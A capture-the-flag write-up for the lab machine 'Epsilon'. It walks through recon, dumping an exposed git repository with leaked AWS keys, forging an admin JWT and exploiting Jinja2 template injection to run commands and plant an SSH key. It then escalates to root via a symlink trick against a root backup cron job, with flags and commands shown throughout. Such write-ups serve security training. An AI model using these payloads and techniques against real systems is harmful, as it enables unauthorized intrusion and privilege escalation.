Epsilon

Recon

nmap_scan.log
Open 10.129.96.151:22
Open 10.129.96.151:80
Open 10.129.96.151:5000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -sC -Pn" on ip 10.129.96.151

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
|   256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp   open  http    syn-ack Apache httpd 2.4.41
|_http-title: 403 Forbidden
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-git: 
|   10.129.96.151:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Updating Tracking API  # Please enter the commit message for...
5000/tcp open  http    syn-ack Werkzeug httpd 2.0.2 (Python 3.8.10)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Costume Shop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP (80)

└─$ feroxbuster -u 'http://10.129.96.151/' -w /usr/share/seclists/Discovery/Web-Content/common.txt --thorough -n
301      GET        9l       28w      313c http://10.129.96.151/.git => http://10.129.96.151/.git/
200      GET        1l        2w       23c http://10.129.96.151/.git/HEAD
200      GET        5l       13w       92c http://10.129.96.151/.git/config
200      GET        2l        8w      323c http://10.129.96.151/.git/index

Dump the git directory

└─$ git-dumper http://10.129.96.151/ port_80
└─$ ls --tree -lh port_80
Permissions Size User  Date Modified Name
drwxrwxr-x     - woyag 20 Dec 02:37   port_80
.rw-rw-r--  1.7k woyag 20 Dec 02:37  ├──  server.py
.rw-rw-r--  1.1k woyag 20 Dec 02:37  └──  track_api_CR_148.py

See the change logs

└─$ git log -p
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:00:28 2021 +0000

    Adding Tracking API Module

diff --git a/track_api_CR_148.py b/track_api_CR_148.py
new file mode 100644
index 0000000..fed7ab9
--- /dev/null
+++ b/track_api_CR_148.py
@@ -0,0 +1,36 @@
+import io
+import os
+from zipfile import ZipFile
+from boto3.session import Session
+
+
+session = Session(
+    aws_access_key_id='AQLA5M37BDN6FJP76TDC',
+    aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A',
+    region_name='us-east-1',
+    endpoint_url='http://cloud.epsilong.htb')
+aws_lambda = session.client('lambda')    

track_api_CR_148.py:

import io
import os
from zipfile import ZipFile
from boto3.session import Session


session = Session(
    aws_access_key_id='<aws_access_key_id>',
    aws_secret_access_key='<aws_secret_access_key>',
    region_name='us-east-1',
    endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')


def files_to_zip(path):
    for root, dirs, files in os.walk(path):
        for f in files:
            full_path = os.path.join(root, f)
            archive_name = full_path[len(path) + len(os.sep):]
            yield full_path, archive_name


def make_zip_file_bytes(path):
    buf = io.BytesIO()
    with ZipFile(buf, 'w') as z:
        for full_path, archive_name in files_to_zip(path=path):
            z.write(full_path, archive_name)
    return buf.getvalue()


def update_lambda(lambda_name, lambda_code_path):
    if not os.path.isdir(lambda_code_path):
        raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
    aws_lambda.update_function_code(
        FunctionName=lambda_name,
        ZipFile=make_zip_file_bytes(path=lambda_code_path))

server.py:

#!/usr/bin/python3

import jwt
from flask import *

app = Flask(__name__)
secret = '<secret_key>'


def verify_jwt(token, key):
    try:
        username = jwt.decode(token, key, algorithms=['HS256',])['username']
        if username:
            return True
        else:
            return False
    except:
        return False


@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "POST":
        if request.form['username'] == "admin" and request.form['password'] == "admin":
            res = make_response()
            username = request.form['username']
            token = jwt.encode({"username": "admin"}, secret, algorithm="HS256")
            res.set_cookie("auth", token)
            res.headers['location'] = '/home'
            return res, 302
        else:
            return render_template('index.html')
    else:
        return render_template('index.html')


@app.route("/home")
def home():
    if verify_jwt(request.cookies.get('auth'), secret):
        return render_template('home.html')
    else:
        return redirect('/', code=302)


@app.route("/track", methods=["GET", "POST"])
def track():
    if request.method == "POST":
        if verify_jwt(request.cookies.get('auth'), secret):
            return render_template('track.html', message=True)
        else:
            return redirect('/', code=302)
    else:
        return render_template('track.html')


@app.route('/order', methods=["GET", "POST"])
def order():
    if verify_jwt(request.cookies.get('auth'), secret):
        if request.method == "POST":
            costume = request.form["costume"]
            message = '''
			Your order of "{}" has been placed successfully.
			'''.format(costume)
            tmpl = render_template_string(message, costume=costume)
            return render_template('order.html', message=tmpl)
        else:
            return render_template('order.html')
    else:
        return redirect('/', code=302)

app.run(debug='true')

AWS

└─$ aws configure
AWS Access Key ID [****************x]: AQLA5M37BDN6FJP76TDC
AWS Secret Access Key [****************y]: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
Default region name [z]: us-east-1
Default output format [i]: json
└─$ export AWS_ENDPOINT_URL="http://cloud.epsilon.htb"

https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-lambda-enum

Enumerate functions

└─$ aws lambda list-functions --no-cli-pager
{
    "Functions": [
        {
            "FunctionName": "costume_shop_v1",
            "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
            "Runtime": "python3.7",
            "Role": "arn:aws:iam::123456789012:role/service-role/dev",
            "Handler": "my-function.handler",
            "CodeSize": 478,
            "Description": "",
            "Timeout": 3,
            "LastModified": "2024-12-20T07:12:18.512+0000",
            "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
            "Version": "$LATEST",
            "VpcConfig": {},
            "TracingConfig": { "Mode": "PassThrough" },
            "RevisionId": "2cde14dd-ab99-4178-b5a6-f4fdd23c6925",
            "State": "Active",
            "LastUpdateStatus": "Successful",
            "PackageType": "Zip"
        }
    ]
}
└─$ aws lambda get-function --function-name costume_shop_v1 --no-cli-pager
{
    "Configuration": {
        "FunctionName": "costume_shop_v1",
        "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
        "Runtime": "python3.7",
        "Role": "arn:aws:iam::123456789012:role/service-role/dev",
        "Handler": "my-function.handler",
        "CodeSize": 478,
        "Description": "",
        "Timeout": 3,
        "LastModified": "2024-12-20T07:12:18.512+0000",
        "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
        "Version": "$LATEST",
        "VpcConfig": {},
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "2cde14dd-ab99-4178-b5a6-f4fdd23c6925",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip"
    },
    "Code": {
        "Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
    },
    "Tags": {}
}
└─$ curl http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code -so code.zip
└─$ unzip code.zip
Archive:  code.zip
  inflating: lambda_function.py
import json

secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124

'''Beta release for tracking'''
def lambda_handler(event, context):
    try:
        id=event['queryStringParameters']['order_id']
        if id:
            return {
               'statusCode': 200,
               'body': json.dumps(str(resp)) #dynamodb tracking for CR-342
            }
        else:
            return {
                'statusCode': 500,
                'body': json.dumps('Invalid Order ID')
            }
    except:
        return {
                'statusCode': 500,
                'body': json.dumps('Invalid Order ID')
            }

HTTP (5000)

Writeup.png
└─$ feroxbuster -u 'http://10.129.96.151:5000/' -w /usr/share/seclists/Discovery/Web-Content/common.txt --thorough -S 207 -n
200      GET      545l     2833w   217381c http://10.129.96.151:5000/static/img/costume.jpg
200      GET      205l      358w     3550c http://10.129.96.151:5000/
302      GET        4l       24w      208c http://10.129.96.151:5000/home => http://10.129.96.151:5000/
302      GET        4l       24w      208c http://10.129.96.151:5000/order => http://10.129.96.151:5000/
200      GET      234l      454w     4288c http://10.129.96.151:5000/track
200      GET      565l     3002w   320823c http://10.129.96.151:5000/static/img/ico.png

We are able to access the /track, but any actions kicks us out to login page.

Writeup-1.png

We can forge the JWT token and login

└─$ py -c 'print(__import__("jwt").encode({"username": "admin"}, "RrXCv`mrNe!K!4+5`wYq", algorithm="HS256"))'
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4

Set the cookie and go to not / D:

Writeup-2.png

From source we can see that application is vulnerable to SSTI on /order endpoint (because of render_template_string)

@app.route('/order', methods=["GET", "POST"])
def order():
    if verify_jwt(request.cookies.get('auth'), secret):
        if request.method == "POST":
            costume = request.form["costume"]
            message = '''
			Your order of "{}" has been placed successfully.
			'''.format(costume)
            tmpl = render_template_string(message, costume=costume)
            return render_template('order.html', message=tmpl)
        else:
            return render_template('order.html')
    else:
        return redirect('/', code=302)
Writeup-3.png

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python

> {{ cycler.__init__.__globals__.os.popen('id').read() }}
< uid=1000(tom) gid=1000(tom) groups=1000(tom)

SSH (22)

We are user tom, so we can upgrade session to SSH. ls -lah /home/tom shows that user doesn't have .ssh directory, but we can make it for him.

└─$ ssh-keygen -f id_rsa -P x -q
└─$ echo "mkdir ~/.ssh; echo '$(cat id_rsa.pub)' > ~/.ssh/authorized_keys"
mkdir ~/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM5k9W6mrqHbvdLFZ70uXoJEKAwVCmtrsXcEJnXjW687 woyag@kraken' > ~/.ssh/authorized_keys
{{ cycler.__init__.__globals__.os.popen("mkdir ~/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM5k9W6mrqHbvdLFZ70uXoJEKAwVCmtrsXcEJnXjW687 woyag@kraken' > ~/.ssh/authorized_keys").read() }}
└─$ ssh -i id_rsa tom@epsilon.htb
tom@epsilon:~$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom)

User.txt

tom@epsilon:~$ cat user.txt
2fdb3a164375fda7a815da47163ccaef

Privilege Escalation

There's definitely some kind of cronjob running in background, but it's not visible in ps aux output.

Writeup-4.png

We can use pspy to enumerate the running processes and detect cronjob

└─$ scp -i id_rsa /opt/scripts/enum/pspy64 tom@epsilon.htb:/tmp/pspy
tom@epsilon:~$ chmod +x /tmp/pspy
tom@epsilon:~$ /tmp/pspy
...
2024/12/20 08:42:06 CMD: UID=0     PID=12542  | /bin/bash /usr/bin/backup.sh
2024/12/20 08:42:06 CMD: UID=0     PID=12543  | /usr/bin/rm -rf /opt/backups/498177201.tar /opt/backups/checksum
...
2024/12/20 08:43:06 CMD: UID=0     PID=12556  | /usr/bin/tar -chvf /var/backups/web_backups/531421950.tar /opt/backups/checksum /opt/backups/520351712.tar
2024/12/20 08:43:06 CMD: UID=0     PID=12557  | /usr/bin/rm -rf /opt/backups/520351712.tar /opt/backups/checksum
...
tom@epsilon:~$ ls /var/backups/web_backups/
351128928.tar  370037650.tar  386985910.tar  408553914.tar  436328596.tar

tom@epsilon:~$ cat /usr/bin/backup.sh
#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*

To create tar cf is enough, but second tar is using h flag too

tom@epsilon:~$ man tar | grep '\-h,' -A1
       -h, --dereference
              Follow symlinks; archive and dump the files they point to.
tom@epsilon:~$ for i in $(seq 1 60); do sleep 1; rm -f /opt/backups/checksum; ln -s /root /opt/backups/checksum; done;
...
tom@epsilon:/tmp$ ls -Alh /var/backups/web_backups
total 81M
-rw-r--r-- 1 root root 980K Dec 20 09:00 313507483.tar
-rw-r--r-- 1 root root 980K Dec 20 09:01 339138279.tar
-rw-r--r-- 1 root root 980K Dec 20 09:02 360284804.tar
-rw-r--r-- 1 root root 980K Dec 20 09:03 379377992.tar
-rw-r--r-- 1 root root  77M Dec 20 09:04 399238848.tar
tom@epsilon:/tmp$ cp /var/backups/web_backups/399238848.tar /tmp
tom@epsilon:/tmp$ tar -xf 399238848.tar
tar: opt/backups/checksum/.bash_history: Cannot mknod: Operation not permitted
tar: Exiting with failure status due to previous errors

Root.txt

tom@epsilon:/tmp$ find . -name root.txt 2>/dev/null
./opt/backups/checksum/root.txt
tom@epsilon:/tmp$ find . -name root.txt -exec cat {} \; 2>/dev/null
c40010703e51c1a3b28e5a6496170c78

Last updated